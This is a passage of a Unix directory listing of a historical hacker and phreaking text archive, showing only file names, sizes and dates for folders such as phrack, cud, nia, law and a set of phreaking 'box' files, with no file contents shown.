2 kusumoto 512 Jan 16 17:46 lod/ +drwxr-xr-x 2 kusumoto 512 Jun 10 18:40 narc/ +drwxr-xr-x 2 kusumoto 512 Mar 15 15:26 network/ +drwxr-xr-x 2 kusumoto 1536 May 27 15:09 nia/ +drwxr-xr-x 2 kusumoto 1024 Jun 3 18:52 papers/ +drwxr-xr-x 2 kusumoto 512 Jun 13 23:22 pha/ +drwxr-xr-x 2 kusumoto 512 Jan 20 22:18 phantasy/ +drwxr-xr-x 2 kusumoto 1024 Apr 3 14:55 phrack/ +drwxr-xr-x 2 kusumoto 512 Jan 16 17:46 phun/ +drwxr-xr-x 2 kusumoto 512 Jan 16 17:46 pirate/ +drwxr-xr-x 2 kusumoto 512 Jun 13 23:22 ppp/ +drwxr-xr-x 2 kusumoto 1024 May 28 23:32 school/ +drwxr-xr-x 2 kusumoto 512 May 27 15:30 synd/ +drwxr-xr-x 2 kusumoto 512 Feb 28 17:54 tap/ + +ane: +total 266 +-rw-r--r-- 1 kusumoto 363 May 28 23:41 Index +-r--r--r-- 1 kusumoto 22545 Jan 2 17:07 ane1 +-r--r--r-- 1 kusumoto 4577 Jan 2 17:07 ane2 +-r--r--r-- 1 kusumoto 5766 Jan 2 17:07 ane3 +-r--r--r-- 1 kusumoto 5276 Jan 2 17:07 ane4 +-r--r--r-- 1 kusumoto 6850 Jan 2 17:07 ane5 +-r--r--r-- 1 kusumoto 10070 Jan 2 17:07 ane6 +-r--r--r-- 1 kusumoto 201033 Jan 2 17:07 ane7 + +ati: +total 830 +-rw-r--r-- 1 kusumoto 1015 May 28 23:41 Index +-r--r--r-- 1 kusumoto 18 Jan 2 17:06 Missing +-r--r--r-- 1 kusumoto 7880 Jan 2 17:06 ati.01 +-r--r--r-- 1 kusumoto 10599 Jan 2 17:06 ati.02 +-r--r--r-- 1 kusumoto 10816 Jan 2 17:06 ati.03 +-r--r--r-- 1 kusumoto 14885 Jan 2 17:06 ati.04 +-r--r--r-- 1 kusumoto 13424 Jan 2 17:06 ati.05 +-r--r--r-- 1 kusumoto 8906 Jan 2 17:06 ati.06 +-r--r--r-- 1 kusumoto 13350 Jan 2 17:06 ati.07 +-r--r--r-- 1 kusumoto 14836 Jan 2 17:06 ati.08 +-r--r--r-- 1 kusumoto 41444 Jan 2 17:06 ati.10 +-r--r--r-- 1 kusumoto 7535 Jan 2 17:06 ati.11 +-r--r--r-- 1 kusumoto 11793 Jan 2 17:06 ati.12 +-r--r--r-- 1 kusumoto 14412 Jan 2 17:06 ati.13 +-r--r--r-- 1 kusumoto 11099 Jan 2 17:06 ati.14 +-r--r--r-- 1 kusumoto 22155 Jan 2 17:06 ati.15 +-r--r--r-- 1 kusumoto 6300 Jan 2 17:06 ati.16 +-r--r--r-- 1 kusumoto 11122 Jan 2 17:06 ati.17 +-r--r--r-- 1 kusumoto 11087 Jan 2 17:06 ati.18 +-r--r--r-- 1 kusumoto 11056 Jan 2 17:06 ati.19 +-r--r--r-- 1 kusumoto 11286 Jan 2 17:06 ati.20 +-r--r--r-- 1 kusumoto 4499 Jan 2 17:06 ati.21 +-r--r--r-- 1 kusumoto 10358 Jan 2 17:06 ati.22 +-r--r--r-- 1 kusumoto 9249 Jan 2 17:06 ati.23 +-r--r--r-- 1 kusumoto 10111 Jan 2 17:06 ati.24 +-r--r--r-- 1 kusumoto 10916 Jan 2 17:06 ati.25 +-r--r--r-- 1 kusumoto 2301 Jan 2 17:06 ati.26 +-r--r--r-- 1 kusumoto 10528 Jan 2 17:06 ati.27 +-r--r--r-- 1 kusumoto 5010 Jan 2 17:06 ati.28 +-r--r--r-- 1 kusumoto 9962 Jan 2 17:06 ati.29 +-r--r--r-- 1 kusumoto 11308 Jan 2 17:06 ati.30 +-r--r--r-- 1 kusumoto 12330 Jan 2 17:06 ati.31 +-r--r--r-- 1 kusumoto 23557 Jan 2 17:06 ati.32 +-r--r--r-- 1 kusumoto 17770 Jan 2 17:06 ati.33 +-r--r--r-- 1 kusumoto 20003 Jan 2 17:06 ati.34 +-r--r--r-- 1 kusumoto 25734 Jan 2 17:06 ati.35 +-r--r--r-- 1 kusumoto 30017 Jan 2 17:06 ati.36 +-r--r--r-- 1 kusumoto 22539 Jan 2 17:06 ati.37 +-r--r--r-- 1 kusumoto 22697 Jan 2 17:06 ati.38 +-r--r--r-- 1 kusumoto 18693 Jan 2 17:06 ati.39 +-r--r--r-- 1 kusumoto 14377 Jan 2 17:06 ati.40 +-r--r--r-- 1 kusumoto 25641 Jan 2 17:06 ati.41 +-r--r--r-- 1 kusumoto 10069 Jan 2 17:06 ati.42 +-r--r--r-- 1 kusumoto 20538 Jan 2 17:06 ati.43 +-r--r--r-- 1 kusumoto 20906 Jan 2 17:06 ati.44 +-r--r--r-- 1 kusumoto 21987 Jan 2 17:06 ati.45 +-r--r--r-- 1 kusumoto 7724 Jan 2 17:06 ati.46 +-r--r--r-- 1 kusumoto 24880 Jan 2 17:06 ati.47 +-r--r--r-- 1 kusumoto 15280 Jan 2 17:06 ati.48 +-r--r--r-- 1 kusumoto 20301 Jan 2 17:06 ati.49 +-r--r--r-- 1 kusumoto 21261 Jan 2 17:06 ati.50 +-r--r--r-- 1 kusumoto 18439 Jan 2 17:06 ati.51 +-r--r--r-- 1 kusumoto 19605 Jan 2 17:06 ati.52 +-r--r--r-- 1 kusumoto 30332 Jan 2 17:06 ati.53 +-r--r--r-- 1 kusumoto 12718 Mar 17 12:55 ati.54 + +bootlegger: +total 441 +-rw-r--r-- 1 kusumoto 349 May 28 23:41 Index +-r--r--r-- 1 kusumoto 326412 Jan 2 17:07 bootlegger6 +-r--r--r-- 1 kusumoto 101274 Jan 2 17:07 bootlegger7 + +box: +total 428 +-rw-r--r-- 1 kusumoto 349 Jun 13 22:39 Index +-r--r--r-- 1 kusumoto 3636 Jun 10 18:57 acrylic +-r--r--r-- 1 kusumoto 197939 Jun 3 19:01 all.box +-r--r--r-- 1 kusumoto 7509 Jun 10 18:57 aqua +-r--r--r-- 1 kusumoto 8202 Jun 10 18:57 aqua2 +-r--r--r-- 1 kusumoto 7381 Jun 10 18:57 beige +-r--r--r-- 1 kusumoto 2811 Jun 10 18:57 black +-r--r--r-- 1 kusumoto 5173 Jun 10 18:57 black2 +-r--r--r-- 1 kusumoto 5172 Jun 10 18:56 black3 +-r--r--r-- 1 kusumoto 1986 Jun 10 18:56 blast +-r--r--r-- 1 kusumoto 6194 Jun 10 18:56 bloto +-r--r--r-- 1 kusumoto 5100 Jun 10 18:56 blue +-r--r--r-- 1 kusumoto 2292 Jun 10 18:56 blue2 +-r--r--r-- 1 kusumoto 2756 Jun 10 18:56 brown +-r--r--r-- 1 kusumoto 2272 Jun 10 18:55 bud +-r--r--r-- 1 kusumoto 5455 Jun 10 18:55 chartreu +-r--r--r-- 1 kusumoto 1791 Jun 10 18:55 cheese +-r--r--r-- 1 kusumoto 1959 Jun 10 18:55 cheese2 +-r--r--r-- 1 kusumoto 6085 Jun 10 18:55 chrome +-r--r--r-- 1 kusumoto 2469 Jun 10 18:55 clear +-r--r--r-- 1 kusumoto 2900 Jun 10 18:55 copper +-r--r--r-- 1 kusumoto 2900 Jun 10 18:54 copper2 +-r--r--r-- 1 kusumoto 2528 Jun 10 18:54 crimson +-r--r--r-- 1 kusumoto 7330 Jun 10 18:54 dayglo +-r--r--r-- 1 kusumoto 3386 Jun 10 18:54 dloc +-r--r--r-- 1 kusumoto 3342 Jun 10 18:54 gold +-r--r--r-- 1 kusumoto 1607 Jun 10 18:54 green +-r--r--r-- 1 kusumoto 3295 Jun 10 18:54 jackbox +-r--r--r-- 1 kusumoto 5420 Jun 10 18:53 light +-r--r--r-- 1 kusumoto 7289 Jun 10 18:53 lunchbox +-r--r--r-- 1 kusumoto 6928 Jun 10 18:53 magenta +-r--r--r-- 1 kusumoto 5116 Jun 10 18:53 mauve +-r--r--r-- 1 kusumoto 1792 Jun 10 18:53 neon +-r--r--r-- 1 kusumoto 3450 Jun 10 18:53 olive +-r--r--r-- 1 kusumoto 5136 Jun 10 18:52 pearl +-r--r--r-- 1 kusumoto 1778 Jun 10 18:52 pinkbox +-r--r--r-- 1 kusumoto 3873 Jun 10 18:52 pinkbox2 +-r--r--r-- 1 kusumoto 3121 Jun 10 18:52 portable.silver +-r--r--r-- 1 kusumoto 1909 Jun 10 18:52 purple +-r--r--r-- 1 kusumoto 4988 Jun 10 18:51 razzbox +-r--r--r-- 1 kusumoto 2070 Jun 10 18:51 red +-r--r--r-- 1 kusumoto 6326 Jun 10 18:51 rockbox +-r--r--r-- 1 kusumoto 2521 Jun 10 18:51 scarlet +-r--r--r-- 1 kusumoto 2282 Jun 10 18:51 silver +-r--r--r-- 1 kusumoto 5124 Jun 10 18:50 silver2 +-r--r--r-- 1 kusumoto 3883 Jun 10 18:50 static +-r--r--r-- 1 kusumoto 5805 Jun 10 18:50 tvcable +-r--r--r-- 1 kusumoto 4379 Jun 10 18:50 urine +-r--r--r-- 1 kusumoto 4061 Jun 10 18:49 white +-r--r--r-- 1 kusumoto 3346 Jun 10 18:49 white2 +-r--r--r-- 1 kusumoto 1782 Jun 10 18:49 yellow + +chalisti: +total 1429 +-rw-r--r-- 1 kusumoto 488 May 28 23:41 Index +-r--r--r-- 1 kusumoto 98845 Mar 10 13:45 chalisti01 +-r--r--r-- 1 kusumoto 96020 Mar 10 13:45 chalisti02 +-r--r--r-- 1 kusumoto 106182 Mar 10 13:45 chalisti03 +-r--r--r-- 1 kusumoto 94155 Mar 10 13:45 chalisti04 +-r--r--r-- 1 kusumoto 103066 Mar 10 13:45 chalisti05 +-r--r--r-- 1 kusumoto 106059 Mar 10 13:46 chalisti06 +-r--r--r-- 1 kusumoto 91455 Mar 10 13:46 chalisti07 +-r--r--r-- 1 kusumoto 99388 Mar 10 13:46 chalisti08 +-r--r--r-- 1 kusumoto 97587 Mar 10 13:46 chalisti09 +-r--r--r-- 1 kusumoto 98644 Jan 2 17:07 chalisti10 +-r--r--r-- 1 kusumoto 140488 Jan 20 00:52 chalisti11 +-r--r--r-- 1 kusumoto 106376 Mar 5 09:16 chalisti12 +-r--r--r-- 1 kusumoto 108913 Jun 6 21:41 chalisti14 + +china: +total 11 +-rw-r--r-- 1 kusumoto 300 Jun 13 23:08 Index +-r--r--r-- 1 kusumoto 9473 May 29 14:47 china-2.3 + +cud: +total 2871 +-rw-r--r-- 1 kusumoto 1649 May 28 23:41 Index +-r--r--r-- 1 kusumoto 128 Jan 2 17:06 Notes +-r--r--r-- 1 kusumoto 533 Jun 10 18:47 README.watch10a +-r--r--r-- 1 kusumoto 25911 May 28 23:42 chsun1.email.files +-r--r--r-- 1 kusumoto 3125 Jun 13 23:35 cud-arch +-r--r--r-- 1 kusumoto 55559 Jan 2 17:06 cud1.00 +-r--r--r-- 1 kusumoto 34144 Jan 2 17:06 cud1.01 +-r--r--r-- 1 kusumoto 22780 Jan 2 17:06 cud1.02 +-r--r--r-- 1 kusumoto 31581 Jan 2 17:06 cud1.03 +-r--r--r-- 1 kusumoto 17929 Jan 2 17:06 cud1.04a +-r--r--r-- 1 kusumoto 25047 Jan 2 17:06 cud1.04b +-r--r--r-- 1 kusumoto 20619 Jan 2 17:06 cud1.04c +-r--r--r-- 1 kusumoto 19125 Jan 2 17:06 cud1.04d +-r--r--r-- 1 kusumoto 30759 Jan 2 17:06 cud1.05 +-r--r--r-- 1 kusumoto 30508 Jan 2 17:06 cud1.06 +-r--r--r-- 1 kusumoto 28087 Jan 2 17:06 cud1.07 +-r--r--r-- 1 kusumoto 31581 Jan 2 17:06 cud1.08 +-r--r--r-- 1 kusumoto 29733 Jan 2 17:06 cud1.09 +-r--r--r-- 1 kusumoto 31492 Jan 2 17:06 cud1.10 +-r--r--r-- 1 kusumoto 33796 Jan 2 17:06 cud1.11 +-r--r--r-- 1 kusumoto 31193 Jan 2 17:06 cud1.12 +-r--r--r-- 1 kusumoto 32789 Jan 2 17:06 cud1.13 +-r--r--r-- 1 kusumoto 25622 Jan 2 17:06 cud1.14 +-r--r--r-- 1 kusumoto 26877 Jan 2 17:06 cud1.15 +-r--r--r-- 1 kusumoto 46001 Jan 2 17:06 cud1.16 +-r--r--r-- 1 kusumoto 36222 Jan 2 17:06 cud1.17 +-r--r--r-- 1 kusumoto 38799 Jan 2 17:06 cud1.18 +-r--r--r-- 1 kusumoto 29779 Jan 2 17:06 cud1.19 +-r--r--r-- 1 kusumoto 25551 Jan 2 17:06 cud1.20 +-r--r--r-- 1 kusumoto 35389 Jan 2 17:06 cud1.21 +-r--r--r-- 1 kusumoto 46610 Jan 2 17:06 cud1.22 +-r--r--r-- 1 kusumoto 42869 Jan 2 17:06 cud1.23 +-r--r--r-- 1 kusumoto 35779 Jan 2 17:06 cud1.24 +-r--r--r-- 1 kusumoto 28476 Jan 2 17:06 cud1.25 +-r--r--r-- 1 kusumoto 37317 Jan 2 17:06 cud1.26 +-r--r--r-- 1 kusumoto 34161 Jan 2 17:06 cud1.27 +-r--r--r-- 1 kusumoto 38741 Jan 2 17:06 cud1.28 +-r--r--r-- 1 kusumoto 38142 Jan 2 17:06 cud1.29 +-r--r--r-- 1 kusumoto 40494 Jan 2 17:06 cud2.00 +-r--r--r-- 1 kusumoto 39661 Jan 2 17:06 cud2.01 +-r--r--r-- 1 kusumoto 45888 Jan 2 17:06 cud2.02 +-r--r--r-- 1 kusumoto 44094 Jan 2 17:06 cud2.03 +-r--r--r-- 1 kusumoto 36946 Jan 2 17:06 cud2.04 +-r--r--r-- 1 kusumoto 36434 Jan 2 17:06 cud2.05 +-r--r--r-- 1 kusumoto 35052 Jan 2 17:06 cud2.06 +-r--r--r-- 1 kusumoto 47366 Jan 2 17:06 cud2.07 +-r--r--r-- 1 kusumoto 39911 Jan 2 17:06 cud2.08 +-r--r--r-- 1 kusumoto 45219 Jan 2 17:06 cud2.09 +-r--r--r-- 1 kusumoto 42392 Jan 2 17:06 cud2.10 +-r--r--r-- 1 kusumoto 40568 Jan 2 17:06 cud2.11 +-r--r--r-- 1 kusumoto 49674 Jan 2 17:06 cud2.12 +-r--r--r-- 1 kusumoto 43395 Jan 2 17:06 cud2.13 +-r--r--r-- 1 kusumoto 47688 Jan 2 17:06 cud2.14 +-r--r--r-- 1 kusumoto 46380 Jan 2 17:06 cud2.15 +-r--r--r-- 1 kusumoto 37282 Jan 2 17:06 cud2.16 +-r--r--r-- 1 kusumoto 40282 Jan 2 17:06 cud2.17 +-r--r--r-- 1 kusumoto 43936 Jan 2 17:06 cud2.18 +-r--r--r-- 1 kusumoto 40944 Jan 3 15:40 cud2.19 +-r--r--r-- 1 kusumoto 42110 Jan 16 17:05 cud3.00 +-r--r--r-- 1 kusumoto 34470 Jan 16 17:05 cud3.01 +-r--r--r-- 1 kusumoto 38643 Jan 16 17:05 cud3.02 +-r--r--r-- 1 kusumoto 45676 Jan 25 17:38 cud3.03 +-r--r--r-- 1 kusumoto 42192 Feb 12 00:37 cud3.04 +-r--r--r-- 1 kusumoto 47198 Feb 12 00:37 cud3.05 +-r--r--r-- 1 kusumoto 41313 Feb 24 23:50 cud3.06 +-r--r--r-- 1 kusumoto 36692 Mar 7 09:34 cud3.07 +-r--r--r-- 1 kusumoto 36359 Mar 13 07:24 cud3.08 +-r--r--r-- 1 kusumoto 44154 Mar 20 06:40 cud3.09 +-r--r--r-- 1 kusumoto 41679 Apr 3 15:00 cud3.10 +-r--r--r-- 1 kusumoto 36289 Apr 6 17:31 cud3.11 +-r--r--r-- 1 kusumoto 42947 Apr 15 13:46 cud3.12 +-r--r--r-- 1 kusumoto 46265 Apr 23 09:51 cud3.13 +-r--r--r-- 1 kusumoto 41114 May 6 17:11 cud3.14 +-r--r--r-- 1 kusumoto 47088 May 2 19:41 cud3.15 +-r--r--r-- 1 kusumoto 41448 May 10 16:04 cud3.16 +-r--r--r-- 1 kusumoto 36587 May 20 15:00 cud3.17 +-r--r--r-- 1 kusumoto 30790 Jun 3 15:35 cud3.18 +-r--r--r-- 1 kusumoto 39902 Jun 4 17:27 cud3.19 +-r--r--r-- 1 kusumoto 45542 Jun 12 19:24 cud3.20 +-r--r--r-- 1 kusumoto 1110 Jan 2 17:06 niedorf.flash +-r--r--r-- 1 kusumoto 16964 Jan 2 17:06 vol1_index +-r--r--r-- 1 kusumoto 8897 Feb 28 17:49 vol2_index +-r--r--r-- 1 kusumoto 6627 Jun 3 15:35 vol3_index +-r--r--r-- 1 kusumoto 13685 Jun 10 18:46 watch10a.exe +-r--r--r-- 1 kusumoto 40190 Jun 10 18:48 watch10a.uu + +hackltd: +total 79 +-rw-r--r-- 1 kusumoto 292 Jun 13 22:57 Index +-r--r--r-- 1 kusumoto 79559 May 29 14:49 hu-1.2 + +hnet: +total 70 +-rw-r--r-- 1 kusumoto 321 May 28 23:41 Index +-r--r--r-- 1 kusumoto 69686 Jan 2 17:07 hnet.1 + +kcah: +total 19 +-rw-r--r-- 1 kusumoto 268 Jun 13 23:13 Index +-r--r--r-- 1 kusumoto 17440 Jun 3 19:02 kcah.2 + +law: +total 747 +-rw-r--r-- 1 kusumoto 1175 May 28 23:41 Index +-r--r--r-- 1 kusumoto 9384 Jan 16 17:01 alabama +-r--r--r-- 1 kusumoto 10489 Jan 20 00:53 alaska +-r--r--r-- 1 kusumoto 19545 Jan 2 17:07 arizona +-r--r--r-- 1 kusumoto 227494 May 11 14:59 bill.s.618 +-r--r--r-- 1 kusumoto 67417 Jan 2 17:07 california +-r--r--r-- 1 kusumoto 3832 Jan 25 17:42 canada +-r--r--r-- 1 kusumoto 3795 Jan 20 00:53 colorado +-r--r--r-- 1 kusumoto 16530 Jan 20 00:53 connecticut +-r--r--r-- 1 kusumoto 14607 Jan 20 00:50 delaware +-r--r--r-- 1 kusumoto 10035 Jan 2 17:07 florida +-r--r--r-- 1 kusumoto 7766 Jan 20 00:50 georgia +-r--r--r-- 1 kusumoto 5341 Feb 12 00:38 ghana.proposed +-r--r--r-- 1 kusumoto 29160 Jan 2 17:07 great.britain +-r--r--r-- 1 kusumoto 9115 Jan 20 00:51 hawaii +-r--r--r-- 1 kusumoto 8142 Jan 20 00:51 idaho +-r--r--r-- 1 kusumoto 20850 Jan 2 17:07 illinois +-r--r--r-- 1 kusumoto 2378 Jan 20 00:52 indiana +-r--r--r-- 1 kusumoto 10398 Jan 25 17:37 iowa +-r--r--r-- 1 kusumoto 5144 Jan 2 17:07 maryland +-r--r--r-- 1 kusumoto 12979 Jan 16 17:01 minnesota +-r--r--r-- 1 kusumoto 2115 Jan 25 17:41 minnesota.info +-r--r--r-- 1 kusumoto 10324 Jan 16 17:01 new.jersey +-r--r--r-- 1 kusumoto 16498 May 20 15:00 new.mexico +-r--r--r-- 1 kusumoto 1479 Jan 2 17:07 new.york +-r--r--r-- 1 kusumoto 5479 May 20 15:00 north.carolina +-r--r--r-- 1 kusumoto 4515 May 8 15:39 oregon +-r--r--r-- 1 kusumoto 11999 Jan 16 17:01 texas +-r--r--r-- 1 kusumoto 128606 May 6 21:18 us.e-privacy +-r--r--r-- 1 kusumoto 16360 Jan 2 17:07 uscode.s.1030 +-r--r--r-- 1 kusumoto 12964 Jan 16 17:01 virginia +-r--r--r-- 1 kusumoto 5767 May 10 16:04 washington +-r--r--r-- 1 kusumoto 8498 Jan 25 17:39 west.virginia +-r--r--r-- 1 kusumoto 5908 Jan 25 17:39 wisconsin + +lod: +total 825 +-rw-r--r-- 1 kusumoto 335 May 28 23:41 Index +-r--r--r-- 1 kusumoto 213571 Jan 2 17:07 lod1 +-r--r--r-- 1 kusumoto 148592 Jan 2 17:07 lod2 +-r--r--r-- 1 kusumoto 167909 Jan 2 17:07 lod3 +-r--r--r-- 1 kusumoto 256202 Jan 2 17:07 lod4 + +narc: +total 62 +-rw-r--r-- 1 kusumoto 397 May 28 23:41 Index +-r--r--r-- 1 kusumoto 5210 Jan 2 17:06 narc.01 +-r--r--r-- 1 kusumoto 5327 Jan 2 17:06 narc.02 +-r--r--r-- 1 kusumoto 7871 Jan 2 17:06 narc.03 +-r--r--r-- 1 kusumoto 7327 Jan 2 17:06 narc.04 +-r--r--r-- 1 kusumoto 4831 Jan 2 17:06 narc.05 +-r--r--r-- 1 kusumoto 4406 Jan 2 17:06 narc.06 +-r--r--r-- 1 kusumoto 8283 Jan 2 17:06 narc.07 +-r--r--r-- 1 kusumoto 3716 May 29 14:48 narc.08 +-r--r--r-- 1 kusumoto 5555 May 29 14:48 narc.09 +-r--r--r-- 1 kusumoto 3350 May 29 14:49 narc.10 + +network: +total 131 +-rw-r--r-- 1 kusumoto 1730 May 28 23:42 Index +-r--r--r-- 1 kusumoto 3833 Mar 15 15:10 ansnet.policy +-r--r--r-- 1 kusumoto 2474 Jan 25 17:43 bitnet.policy +-r--r--r-- 1 kusumoto 2171 Mar 15 15:10 cerfnet.policy +-r--r--r-- 1 kusumoto 9572 Mar 15 15:10 compuserve.policy +-r--r--r-- 1 kusumoto 8577 Mar 15 15:10 concert.policy +-r--r--r-- 1 kusumoto 3881 Mar 15 15:10 cren.policy +-r--r--r-- 1 kusumoto 21201 Mar 15 15:10 email.policies +-r--r--r-- 1 kusumoto 10296 Mar 15 15:10 farnet.policy +-r--r--r-- 1 kusumoto 2296 Mar 15 15:10 fricc.policy +-r--r--r-- 1 kusumoto 540 Mar 15 15:10 los-nettos.policy +-r--r--r-- 1 kusumoto 31098 Mar 15 15:10 mrnet.policy +-r--r--r-- 1 kusumoto 2375 Mar 15 15:10 nearnet.policy +-r--r--r-- 1 kusumoto 2607 Mar 15 15:10 northwestnet.policy +-r--r--r-- 1 kusumoto 2790 Mar 15 15:10 nsfnet.policy +-r--r--r-- 1 kusumoto 5800 Mar 15 15:10 onet.policy +-r--r--r-- 1 kusumoto 5341 Mar 15 15:10 uninet.policy +-r--r--r-- 1 kusumoto 7939 Mar 15 15:10 ut.software.policy + +nia: +total 2689 +-rw-r--r-- 1 kusumoto 1089 May 28 23:42 Index +-r--r--r-- 1 kusumoto 12291 Jan 2 17:07 nia01 +-r--r--r-- 1 kusumoto 10357 Jan 2 17:07 nia02 +-r--r--r-- 1 kusumoto 11284 Jan 2 17:07 nia03 +-r--r--r-- 1 kusumoto 19346 Jan 2 17:07 nia04 +-r--r--r-- 1 kusumoto 16751 Jan 2 17:07 nia05 +-r--r--r-- 1 kusumoto 18120 Jan 2 17:07 nia06 +-r--r--r-- 1 kusumoto 12786 Jan 2 17:07 nia07 +-r--r--r-- 1 kusumoto 17492 Jan 2 17:07 nia08 +-r--r--r-- 1 kusumoto 8686 Jan 2 17:07 nia09 +-r--r--r-- 1 kusumoto 17308 Jan 2 17:07 nia10 +-r--r--r-- 1 kusumoto 8003 Jan 2 17:07 nia11 +-r--r--r-- 1 kusumoto 62323 Jan 2 17:07 nia12 +-r--r--r-- 1 kusumoto 20111 Jan 2 17:07 nia13 +-r--r--r-- 1 kusumoto 14038 Jan 2 17:07 nia14 +-r--r--r-- 1 kusumoto 5961 Jan 2 17:07 nia15 +-r--r--r-- 1 kusumoto 13562 Jan 2 17:07 nia16 +-r--r--r-- 1 kusumoto 14131 Jan 2 17:07 nia17 +-r--r--r-- 1 kusumoto 14663 Jan 2 17:07 nia18 +-r--r--r-- 1 kusumoto 22389 Jan 2 17:07 nia19 +-r--r--r-- 1 kusumoto 21223 Jan 2 17:07 nia20 +-r--r--r-- 1 kusumoto 6104 Jan 2 17:07 nia21 +-r--r--r-- 1 kusumoto 41440 Jan 2 17:07 nia22 +-r--r--r-- 1 kusumoto 17763 Jan 2 17:07 nia23 +-r--r--r-- 1 kusumoto 21238 Jan 2 17:07 nia24 +-r--r--r-- 1 kusumoto 25879 Jan 2 17:07 nia25 +-r--r--r-- 1 kusumoto 24125 Jan 2 17:07 nia26 +-r--r--r-- 1 kusumoto 22932 Jan 2 17:07 nia27 +-r--r--r-- 1 kusumoto 24912 Jan 2 17:07 nia28 +-r--r--r-- 1 kusumoto 18846 Jan 2 17:07 nia29 +-r--r--r-- 1 kusumoto 2858 Jan 2 17:07 nia30 +-r--r--r-- 1 kusumoto 2341 Jan 2 17:07 nia31 +-r--r--r-- 1 kusumoto 27854 Jan 2 17:07 nia32 +-r--r--r-- 1 kusumoto 9602 Jan 2 17:07 nia33 +-r--r--r-- 1 kusumoto 13193 Jan 2 17:07 nia34 +-r--r--r-- 1 kusumoto 5325 Jan 2 17:07 nia35 +-r--r--r-- 1 kusumoto 7805 Jan 2 17:07 nia36 +-r--r--r-- 1 kusumoto 102343 Jan 2 17:07 nia37 +-r--r--r-- 1 kusumoto 14810 Jan 2 17:07 nia38 +-r--r--r-- 1 kusumoto 9608 Jan 2 17:07 nia39 +-r--r--r-- 1 kusumoto 7500 Jan 2 17:07 nia40 +-r--r--r-- 1 kusumoto 7026 Jan 2 17:07 nia41 +-r--r--r-- 1 kusumoto 23976 Jan 2 17:07 nia42 +-r--r--r-- 1 kusumoto 13556 Jan 2 17:07 nia43 +-r--r--r-- 1 kusumoto 10227 Jan 2 17:07 nia44 +-r--r--r-- 1 kusumoto 3418 Jan 2 17:07 nia45 +-r--r--r-- 1 kusumoto 11098 Jan 2 17:07 nia46 +-r--r--r-- 1 kusumoto 15998 Jan 2 17:07 nia47 +-r--r--r-- 1 kusumoto 4724 Jan 2 17:07 nia48 +-r--r--r-- 1 kusumoto 26138 Jan 2 17:07 nia49 +-r--r--r-- 1 kusumoto 20342 Jan 2 17:07 nia50 +-r--r--r-- 1 kusumoto 6991 Jan 2 17:07 nia51 +-r--r--r-- 1 kusumoto 16660 Jan 2 17:07 nia52 +-r--r--r-- 1 kusumoto 107922 Jan 2 17:07 nia53 +-r--r--r-- 1 kusumoto 6206 Jan 2 17:07 nia54 +-r--r--r-- 1 kusumoto 7949 Jan 2 17:07 nia55 +-r--r--r-- 1 kusumoto 7463 Jan 2 17:07 nia56 +-r--r--r-- 1 kusumoto 46974 Jan 2 17:07 nia57 +-r--r--r-- 1 kusumoto 51760 Jan 2 17:07 nia58 +-r--r--r-- 1 kusumoto 8105 Jan 2 17:07 nia59 +-r--r--r-- 1 kusumoto 33970 Jan 2 17:07 nia60 +-r--r--r-- 1 kusumoto 3749 Jan 2 17:07 nia61 +-r--r--r-- 1 kusumoto 13173 Jan 2 17:07 nia62 +-r--r--r-- 1 kusumoto 45962 Jan 2 17:07 nia63 +-r--r--r-- 1 kusumoto 15127 Jan 2 17:07 nia64 +-r--r--r-- 1 kusumoto 7989 Jan 2 17:07 nia65 +-r--r--r-- 1 kusumoto 4809 Jan 2 17:07 nia66 +-r--r--r-- 1 kusumoto 66243 Jan 2 17:07 nia67 +-r--r--r-- 1 kusumoto 222960 Jan 2 17:07 nia68 +-r--r--r-- 1 kusumoto 344342 Jan 20 00:52 nia69 +-r--r--r-- 1 kusumoto 452505 Feb 28 17:49 nia70 +-r--r--r-- 1 kusumoto 286247 May 27 15:09 nia71 + +papers: +total 1624 +-rw-r--r-- 1 kusumoto 3199 May 28 23:42 Index +-r--r--r-- 1 kusumoto 75433 Jan 2 17:07 alcor +-r--r--r-- 1 kusumoto 87213 Jan 2 17:07 baudy.world +-r--r--r-- 1 kusumoto 6030 Jan 2 17:07 biblio +-r--r--r-- 1 kusumoto 63205 Jan 2 17:07 candp +-r--r--r-- 1 kusumoto 24444 Mar 9 18:44 cbi.info +-r--r--r-- 1 kusumoto 63050 Feb 12 00:39 civil.disobedience +-r--r--r-- 1 kusumoto 31426 Mar 13 07:25 closing.the.net +-r--r--r-- 1 kusumoto 13264 Mar 11 14:56 cook +-r--r--r-- 1 kusumoto 27717 Jan 2 17:07 crime.puzzle +-r--r--r-- 1 kusumoto 17520 Feb 28 17:48 cu.intro +-r--r--r-- 1 kusumoto 58773 Jan 2 17:07 denning +-r--r--r-- 1 kusumoto 74868 Jan 9 18:20 dennis.hayes +-r--r--r-- 1 kusumoto 11517 Jan 2 17:07 edwards_letter +-r--r--r-- 1 kusumoto 5988 Jan 16 17:51 explosive +-r--r--r-- 1 kusumoto 5192 Jan 2 17:07 fbi.systems +-r--r--r-- 1 kusumoto 27146 Mar 15 15:13 first.adm.computers +-r--r--r-- 1 kusumoto 19636 Jan 2 17:07 hernandez.email_privacy +-r--r--r-- 1 kusumoto 84017 Jan 3 13:35 len.rose +-r--r--r-- 1 kusumoto 7584 Apr 3 14:49 len.rose.news.1 +-r--r--r-- 1 kusumoto 150214 Jan 2 17:07 meyer +-r--r--r-- 1 kusumoto 31927 May 10 16:04 morris.appeal +-r--r--r-- 1 kusumoto 20191 Jan 2 17:07 netproposition +-r--r--r-- 1 kusumoto 498787 Jan 2 17:07 phreak.man +-r--r--r-- 1 kusumoto 133 Jun 3 18:52 riggs.brief +-r--r--r-- 1 kusumoto 54923 May 6 21:20 sj.lawsuit +-r--r--r-- 1 kusumoto 102570 Jan 2 17:07 sundevil +-r--r--r-- 1 kusumoto 47708 May 27 15:22 tribe + +pha: +total 129 +-rw-r--r-- 1 kusumoto 301 Jun 13 23:21 Index +-r--r--r-- 1 kusumoto 121252 May 29 14:50 ppa.2 + +phantasy: +total 115 +-rw-r--r-- 1 kusumoto 334 May 28 23:42 Index +-r--r--r-- 1 kusumoto 24971 Jan 2 17:07 v1n1 +-r--r--r-- 1 kusumoto 27050 Jan 2 17:07 v1n2 +-r--r--r-- 1 kusumoto 25251 Jan 2 17:07 v1n3 +-r--r--r-- 1 kusumoto 37567 Jan 20 22:18 v1n4 + +phrack: +total 5211 +-rw-r--r-- 1 kusumoto 955 May 28 23:42 Index +-r--r--r-- 1 kusumoto 51307 Apr 3 14:53 phrack.index +-r--r--r-- 1 kusumoto 29195 Jan 2 17:07 phrack01 +-r--r--r-- 1 kusumoto 55272 Jan 2 17:07 phrack02 +-r--r--r-- 1 kusumoto 58852 